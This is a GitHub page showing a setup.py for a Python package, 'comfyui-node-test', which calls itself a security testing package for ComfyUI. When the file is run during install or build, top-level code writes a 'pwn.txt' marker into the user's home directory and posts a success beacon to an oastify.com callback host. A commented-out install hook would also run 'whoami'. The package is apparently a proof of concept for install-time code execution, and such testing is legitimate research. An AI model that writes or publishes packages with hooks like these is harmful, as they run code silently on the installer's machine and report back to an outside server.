-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsetup.py
57 lines (45 loc) · 1.4 KB
/
setup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from pathlib import Path
from urllib.parse import urlencode
from urllib.request import Request, urlopen
with open(Path.home() / 'pwn.txt', 'w+') as fd:
fd.write('BLAAAT')
url = "https://b5h40cj6bpo5wcgw0mqsxyqmjdp4du1j.oastify.com"
data = {"pwn": "success!"}
postdata = urlencode(data).encode()
httprequest = Request(url, data=postdata, method="POST")
with urlopen(httprequest) as response:
print(response.read().decode())
class PwnCommand(install):
description = 'PWN'
user_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
install.run(self)
print('PWN!!!')
os.system('whoami')
setup(
name="comfyui-node-test",
version="0.3",
packages=find_packages(),
install_requires=[], # List any dependencies here
author="Inner Proj",
author_email="[email protected]",
description="Security testing package for ComfyUI.",
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires='>=3.6',
# cmdclass={
# 'install': PwnCommand,
# },
)